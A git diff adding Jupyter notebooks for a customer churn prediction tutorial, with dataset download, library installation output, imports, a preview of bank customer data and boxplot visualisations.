0.970001 \n", + "4 0.157895 1.677741 0.965838 " + ] + }, + "execution_count": 109, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "high_churn_list = test[test.pred_probabilities > 0.7].sort_values(by=['pred_probabilities'], ascending=False\n", + " ).reset_index().drop(columns=['index', 'Exited', 'predictions'], axis=1)\n", + "high_churn_list.shape\n", + "high_churn_list.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 110, + "metadata": {}, + "outputs": [], + "source": [ + "high_churn_list.to_csv('high_churn_list.csv', index=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "interpreter": { + "hash": "777490da48e046e3b512f0b24bf037db286a787493a11bf82a9e0f2cbf21bb67" + }, + "kernelspec": { + "display_name": "Python 3.8.7 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.7" + }, + "orig_nbformat": 4 + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/machine-learning/customer-churn-detection/Customer_Churn_Tutorial_original.ipynb b/machine-learning/customer-churn-detection/Customer_Churn_Tutorial_original.ipynb new file mode 100644 index 00000000..4d9e3b48 --- /dev/null +++ b/machine-learning/customer-churn-detection/Customer_Churn_Tutorial_original.ipynb @@ -0,0 +1,9841 @@ +{ + "cells": [ + { + "cell_type": "code", + "source": [ + "!wget https://github.com/x4nth055/pythoncode-tutorials/raw/master/general/dataframe-to-html/Churn_Modelling.csv" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0YYYrz7jW0cY", + "outputId": "38eb486e-2506-48d0-e7ed-cd2bf806ab90" + }, + "execution_count": 1, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "--2022-03-19 18:19:48-- https://github.com/x4nth055/pythoncode-tutorials/raw/master/general/dataframe-to-html/Churn_Modelling.csv\n", + "Resolving github.com (github.com)... 52.69.186.44\n", + "Connecting to github.com (github.com)|52.69.186.44|:443... connected.\n", + "HTTP request sent, awaiting response... 302 Found\n", + "Location: https://raw.githubusercontent.com/x4nth055/pythoncode-tutorials/master/general/dataframe-to-html/Churn_Modelling.csv [following]\n", + "--2022-03-19 18:19:48-- https://raw.githubusercontent.com/x4nth055/pythoncode-tutorials/master/general/dataframe-to-html/Churn_Modelling.csv\n", + "Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...\n", + "Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\n", + "HTTP request sent, awaiting response... 200 OK\n", + "Length: 674857 (659K) [text/plain]\n", + "Saving to: ‘Churn_Modelling.csv’\n", + "\n", + "Churn_Modelling.csv 100%[===================>] 659.04K --.-KB/s in 0.05s \n", + "\n", + "2022-03-19 18:19:49 (12.5 MB/s) - ‘Churn_Modelling.csv’ saved [674857/674857]\n", + "\n" + ] + } + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "igSYlnBMpEwm" + }, + "source": [ + "## Install the necessary dependencies" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000 + }, + "id": "xyih0dkxpVzk", + "outputId": "aeb851ef-5b68-40d1-f46c-83bf15e75431" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting ipython==7.22.0\n", + " Downloading ipython-7.22.0-py3-none-any.whl (785 kB)\n", + "\u001b[?25l\r\u001b[K |▍ | 10 kB 18.9 MB/s eta 0:00:01\r\u001b[K |▉ | 20 kB 9.6 MB/s eta 0:00:01\r\u001b[K |█▎ | 30 kB 7.9 MB/s eta 0:00:01\r\u001b[K |█▊ | 40 kB 7.1 MB/s eta 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prompt-toolkit!=3.0.0,!=3.0.1,<3.1.0,>=2.0.0->ipython==7.22.0) (0.2.5)\n", + "Installing collected packages: prompt-toolkit, ipython\n", + " Attempting uninstall: prompt-toolkit\n", + " Found existing installation: prompt-toolkit 1.0.18\n", + " Uninstalling prompt-toolkit-1.0.18:\n", + " Successfully uninstalled prompt-toolkit-1.0.18\n", + " Attempting uninstall: ipython\n", + " Found existing installation: ipython 5.5.0\n", + " Uninstalling ipython-5.5.0:\n", + " Successfully uninstalled ipython-5.5.0\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "jupyter-console 5.2.0 requires prompt-toolkit<2.0.0,>=1.0.0, but you have prompt-toolkit 3.0.28 which is incompatible.\n", + "google-colab 1.0.0 requires ipython~=5.5.0, but you have ipython 7.22.0 which is incompatible.\u001b[0m\n", + "Successfully installed ipython-7.22.0 prompt-toolkit-3.0.28\n" + ] + }, + { + "output_type": "display_data", + "data": { + "application/vnd.colab-display-data+json": { + "pip_warning": { + "packages": [ + "IPython", + "prompt_toolkit" + ] + } + } + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting joblib==1.0.1\n", + " Downloading joblib-1.0.1-py3-none-any.whl (303 kB)\n", + "\u001b[?25l\r\u001b[K |█ | 10 kB 19.6 MB/s eta 0:00:01\r\u001b[K |██▏ | 20 kB 9.1 MB/s eta 0:00:01\r\u001b[K |███▎ | 30 kB 6.2 MB/s eta 0:00:01\r\u001b[K |████▎ | 40 kB 5.8 MB/s eta 0:00:01\r\u001b[K |█████▍ | 51 kB 2.7 MB/s eta 0:00:01\r\u001b[K |██████▌ | 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This behaviour is the source of the following dependency conflicts.\n", + "albumentations 0.1.12 requires imgaug<0.2.7,>=0.2.5, but you have imgaug 0.2.9 which is incompatible.\u001b[0m\n", + "Successfully installed matplotlib-3.3.4\n" + ] + }, + { + "output_type": "display_data", + "data": { + "application/vnd.colab-display-data+json": { + "pip_warning": { + "packages": [ + "matplotlib", + "mpl_toolkits" + ] + } + } + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Collecting numpy==1.20.1\n", + " Downloading numpy-1.20.1-cp37-cp37m-manylinux2010_x86_64.whl (15.3 MB)\n", + "\u001b[K |████████████████████████████████| 15.3 MB 3.2 MB/s \n", + "\u001b[?25hInstalling collected packages: numpy\n", + " Attempting uninstall: numpy\n", + " Found existing installation: numpy 1.21.5\n", + " Uninstalling numpy-1.21.5:\n", + " Successfully uninstalled numpy-1.21.5\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "tensorflow 2.8.0 requires tf-estimator-nightly==2.8.0.dev2021122109, which is not installed.\n", + "google-colab 1.0.0 requires ipython~=5.5.0, but you have ipython 7.22.0 which is incompatible.\n", + "datascience 0.10.6 requires folium==0.2.1, but you have folium 0.8.3 which is incompatible.\n", + "albumentations 0.1.12 requires imgaug<0.2.7,>=0.2.5, but you have imgaug 0.2.9 which is incompatible.\u001b[0m\n", + "Successfully installed numpy-1.20.1\n" + ] + }, + { + "output_type": "display_data", + "data": { + "application/vnd.colab-display-data+json": { + "pip_warning": { + "packages": [ + "numpy" + ] + } + } + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Requirement already satisfied: pandas==1.3.5 in /usr/local/lib/python3.7/dist-packages (1.3.5)\n", + "Requirement already satisfied: pytz>=2017.3 in /usr/local/lib/python3.7/dist-packages (from pandas==1.3.5) (2018.9)\n", + "Requirement already satisfied: numpy>=1.17.3 in /usr/local/lib/python3.7/dist-packages (from pandas==1.3.5) (1.20.1)\n", + "Requirement already satisfied: python-dateutil>=2.7.3 in /usr/local/lib/python3.7/dist-packages (from pandas==1.3.5) (2.8.2)\n", + "Requirement already satisfied: six>=1.5 in /usr/local/lib/python3.7/dist-packages (from python-dateutil>=2.7.3->pandas==1.3.5) (1.15.0)\n", + "Collecting scikit_learn==0.24.1\n", + " Downloading scikit_learn-0.24.1-cp37-cp37m-manylinux2010_x86_64.whl (22.3 MB)\n", + "\u001b[K |████████████████████████████████| 22.3 MB 1.6 MB/s \n", + "\u001b[?25hRequirement already satisfied: scipy>=0.19.1 in /usr/local/lib/python3.7/dist-packages (from scikit_learn==0.24.1) (1.4.1)\n", + "Requirement already satisfied: joblib>=0.11 in /usr/local/lib/python3.7/dist-packages (from scikit_learn==0.24.1) (1.0.1)\n", + "Requirement already satisfied: numpy>=1.13.3 in /usr/local/lib/python3.7/dist-packages (from scikit_learn==0.24.1) (1.20.1)\n", + "Requirement already satisfied: threadpoolctl>=2.0.0 in /usr/local/lib/python3.7/dist-packages (from scikit_learn==0.24.1) (3.1.0)\n", + "Installing collected packages: scikit-learn\n", + " Attempting uninstall: scikit-learn\n", + " Found existing installation: scikit-learn 1.0.2\n", + " Uninstalling scikit-learn-1.0.2:\n", + " Successfully uninstalled scikit-learn-1.0.2\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "yellowbrick 1.4 requires scikit-learn>=1.0.0, but you have scikit-learn 0.24.1 which is incompatible.\u001b[0m\n", + "Successfully installed scikit-learn-0.24.1\n", + "Collecting seaborn==0.11.1\n", + " Downloading seaborn-0.11.1-py3-none-any.whl (285 kB)\n", + "\u001b[K |████████████████████████████████| 285 kB 2.6 MB/s \n", + "\u001b[?25hRequirement already satisfied: scipy>=1.0 in /usr/local/lib/python3.7/dist-packages (from seaborn==0.11.1) (1.4.1)\n", + "Requirement already satisfied: numpy>=1.15 in /usr/local/lib/python3.7/dist-packages (from seaborn==0.11.1) (1.20.1)\n", + "Requirement already satisfied: matplotlib>=2.2 in /usr/local/lib/python3.7/dist-packages (from seaborn==0.11.1) (3.3.4)\n", + "Requirement already satisfied: pandas>=0.23 in /usr/local/lib/python3.7/dist-packages (from seaborn==0.11.1) (1.3.5)\n", + "Requirement already satisfied: python-dateutil>=2.1 in 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"Installing collected packages: seaborn\n", + " Attempting uninstall: seaborn\n", + " Found existing installation: seaborn 0.11.2\n", + " Uninstalling seaborn-0.11.2:\n", + " Successfully uninstalled seaborn-0.11.2\n", + "Successfully installed seaborn-0.11.1\n", + "Collecting shap==0.40.0\n", + " Downloading shap-0.40.0-cp37-cp37m-manylinux2010_x86_64.whl (564 kB)\n", + "\u001b[K |████████████████████████████████| 564 kB 3.2 MB/s \n", + "\u001b[?25hRequirement already satisfied: tqdm>4.25.0 in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (4.63.0)\n", + "Requirement already satisfied: packaging>20.9 in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (21.3)\n", + "Requirement already satisfied: scikit-learn in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (0.24.1)\n", + "Requirement already satisfied: pandas in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (1.3.5)\n", + "Requirement already satisfied: scipy in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (1.4.1)\n", + "Requirement already satisfied: cloudpickle in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (1.3.0)\n", + "Requirement already satisfied: numba in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (0.51.2)\n", + "Collecting slicer==0.0.7\n", + " Downloading slicer-0.0.7-py3-none-any.whl (14 kB)\n", + "Requirement already satisfied: numpy in /usr/local/lib/python3.7/dist-packages (from shap==0.40.0) (1.20.1)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>20.9->shap==0.40.0) (3.0.7)\n", + "Requirement already satisfied: setuptools in /usr/local/lib/python3.7/dist-packages (from numba->shap==0.40.0) (57.4.0)\n", + "Requirement already satisfied: llvmlite<0.35,>=0.34.0.dev0 in /usr/local/lib/python3.7/dist-packages (from numba->shap==0.40.0) (0.34.0)\n", + "Requirement already satisfied: python-dateutil>=2.7.3 in /usr/local/lib/python3.7/dist-packages (from pandas->shap==0.40.0) (2.8.2)\n", + "Requirement already satisfied: pytz>=2017.3 in /usr/local/lib/python3.7/dist-packages (from pandas->shap==0.40.0) (2018.9)\n", + "Requirement already satisfied: six>=1.5 in /usr/local/lib/python3.7/dist-packages (from python-dateutil>=2.7.3->pandas->shap==0.40.0) (1.15.0)\n", + "Requirement already satisfied: threadpoolctl>=2.0.0 in /usr/local/lib/python3.7/dist-packages (from scikit-learn->shap==0.40.0) (3.1.0)\n", + "Requirement already satisfied: joblib>=0.11 in /usr/local/lib/python3.7/dist-packages (from scikit-learn->shap==0.40.0) (1.0.1)\n", + "Installing collected packages: slicer, shap\n", + "Successfully installed shap-0.40.0 slicer-0.0.7\n", + "Collecting xgboost==1.5.1\n", + " Downloading xgboost-1.5.1-py3-none-manylinux2014_x86_64.whl (173.5 MB)\n", + "\u001b[K |████████████████████████████████| 173.5 MB 11 kB/s \n", + "\u001b[?25hRequirement already satisfied: scipy in /usr/local/lib/python3.7/dist-packages (from xgboost==1.5.1) (1.4.1)\n", + "Requirement already satisfied: numpy in /usr/local/lib/python3.7/dist-packages (from xgboost==1.5.1) (1.20.1)\n", + "Installing collected packages: xgboost\n", + " Attempting uninstall: xgboost\n", + " Found existing installation: xgboost 0.90\n", + " Uninstalling xgboost-0.90:\n", + " Successfully uninstalled xgboost-0.90\n", + "Successfully installed xgboost-1.5.1\n" + ] + } + ], + "source": [ + "!pip install ipython==7.22.0\n", + "!pip install joblib==1.0.1\n", + "!pip install lightgbm==3.3.1\n", + "!pip install matplotlib\n", + "!pip install numpy\n", + "!pip install pandas\n", + "!pip install scikit_learn==0.24.1\n", + "!pip install seaborn\n", + "!pip install shap==0.40.0\n", + "!pip install xgboost==1.5.1" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "4PcCUFpXpXNx" + }, + "source": [ + "## Show me the code" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "hxkgrKKppEwm" + }, + "outputs": [], + "source": [ + "%matplotlib inline" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "id": "pGganNR0pEwn" + }, + "outputs": [], + "source": [ + "## Import required libraries\n", + "import pandas as pd\n", + "import numpy as np\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns\n", + "from sklearn.preprocessing import LabelEncoder, OneHotEncoder, StandardScaler\n", + "from sklearn.feature_selection import RFE\n", + "from sklearn.linear_model import LogisticRegression\n", + "from sklearn.svm import SVC\n", + "from sklearn.decomposition import PCA\n", + "from sklearn.tree import DecisionTreeClassifier, export_graphviz\n", + "from sklearn.base import BaseEstimator, TransformerMixin\n", + "from sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier\n", + "from xgboost import XGBClassifier\n", + "from sklearn.neighbors import KNeighborsClassifier\n", + "from sklearn.naive_bayes import GaussianNB, MultinomialNB, ComplementNB, BernoulliNB\n", + "from sklearn.pipeline import Pipeline\n", + "from sklearn.model_selection import cross_val_score, train_test_split, GridSearchCV, RandomizedSearchCV\n", + "from lightgbm import LGBMClassifier\n", + "from sklearn.metrics import roc_auc_score, f1_score, recall_score, confusion_matrix, classification_report \n", + "import subprocess\n", + "import joblib\n", + "## Get multiple outputs in the same cell\n", + "from IPython.core.interactiveshell import InteractiveShell\n", + "InteractiveShell.ast_node_interactivity = \"all\"\n", + "## Ignore all warnings\n", + "import warnings\n", + "warnings.filterwarnings('ignore')\n", + "warnings.filterwarnings(action='https://github.com/ignore', category=DeprecationWarning)\n", + "pd.set_option('display.max_columns', None)\n", + "pd.set_option('display.max_rows', None)" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 363 + }, + "id": "Bo9elpS_ttpg", + "outputId": "1b876c26-d4d7-47aa-881c-e905d672943c" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " RowNumber CustomerId Surname CreditScore Geography Gender Age \\\n", + "0 1 15634602 Hargrave 619 France Female 42 \n", + "1 2 15647311 Hill 608 Spain Female 41 \n", + "2 3 15619304 Onio 502 France Female 42 \n", + "3 4 15701354 Boni 699 France Female 39 \n", + "4 5 15737888 Mitchell 850 Spain Female 43 \n", + "5 6 15574012 Chu 645 Spain Male 44 \n", + "6 7 15592531 Bartlett 822 France Male 50 \n", + "7 8 15656148 Obinna 376 Germany Female 29 \n", + "8 9 15792365 He 501 France Male 44 \n", + "9 10 15592389 H? 684 France Male 27 \n", + "\n", + " Tenure Balance NumOfProducts HasCrCard IsActiveMember \\\n", + "0 2 0.00 1 1 1 \n", + "1 1 83807.86 1 0 1 \n", + "2 8 159660.80 3 1 0 \n", + "3 1 0.00 2 0 0 \n", + "4 2 125510.82 1 1 1 \n", + "5 8 113755.78 2 1 0 \n", + "6 7 0.00 2 1 1 \n", + "7 4 115046.74 4 1 0 \n", + "8 4 142051.07 2 0 1 \n", + "9 2 134603.88 1 1 1 \n", + "\n", + " EstimatedSalary Exited \n", + "0 101348.88 1 \n", + "1 112542.58 0 \n", + "2 113931.57 1 \n", + "3 93826.63 0 \n", + "4 79084.10 0 \n", + "5 149756.71 1 \n", + "6 10062.80 0 \n", + "7 119346.88 1 \n", + "8 74940.50 0 \n", + "9 71725.73 0 " + ], + "text/html": [ + "\n", + "
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\n" + }, + "metadata": {} + } + ], + "source": [ + "## CreditScore\n", + "sns.set(style=\"whitegrid\")\n", + "sns.boxplot(y = dc['CreditScore'])" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 265 + }, + "id": "xDiSarr_pEwu", + "outputId": "b9ca25fb-3211-4012-f1d0-e505b99b9016" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 14 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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\n" + }, + "metadata": {} + } + ], + "source": [ + "## Age\n", + "sns.boxplot(y = dc['Age'])" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 265 + }, + "id": "mytEhkVhpEwu", + "outputId": "ca96e2b5-1cdc-4a78-c0a5-3a2816592caa" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 15 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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P8d57G3AkFWHzhMcUNiHGItXuwZkyh9raw/z4xz/m+PHjVkcaElIKI8A0TTZs2MDtt9/B+vUbcCROwZFQaHUsIcQ5skWl4Uqbw/7qg3zve9/jj3/8Y99556FK9j4aZrW1taxcuZKysjI0dwLurAVorlirYwkhhog9JhstIgVfww5WrVrFunXr+O53v8v06dOtjjYoUgrDpKOjg5dffpnVq1eDauvd+C5uopyGJkQYUm1u3OnzCXYcp/7ETn7yk58wZ84cvvOd75Cammp1vAEZFaXw7rvv8swzz/QenWeafO9732PBggVWxxq0mpoaHn7kEdpa27DH5uJImopqk4NxhAh3tqjxaBEp+E/uZ9v2D9mxYwcPPPAAc+fOtTpav1leCqZp8sADD/DSSy+Rl5dHZWUlX/3qV7n88stD8gCLPXv2sGTJUgK6gifrCjR3vNWRhBAjSFE1nImF2GOy8B3/gMcff5w777yTK6+80upo/TIqXnVVVaWjowPove2SnJwckoXQ3d3N4sWLCeDAlXmZFIIQY5hq9+CacAlaRArLly+nqqrK6kj9YvmVgqIoPP3009x55514PB66urr49a9/PaDnKC8vH6Z0A9PW1obf78eZWoxqD499UIQQg6eoNhxJ0wh21rN169a+N7+jmeWlEAwGee655/jVr35FSUkJH374Iffeey9vvPFGvzeYKioqwum0/p59c3MzAIa3FdM05bwEIQS69yQAkyZNoqSkxOI0vXw+32e+mbb8Hs2+fftoamrq+49VUlKC2+3m4MGDFicbuMTERK688koCrQfwn9iNaZpWRxJCWChwqhZf/XYKCgtDZoqq5aWQkpJCQ0MDhw4dAuDgwYO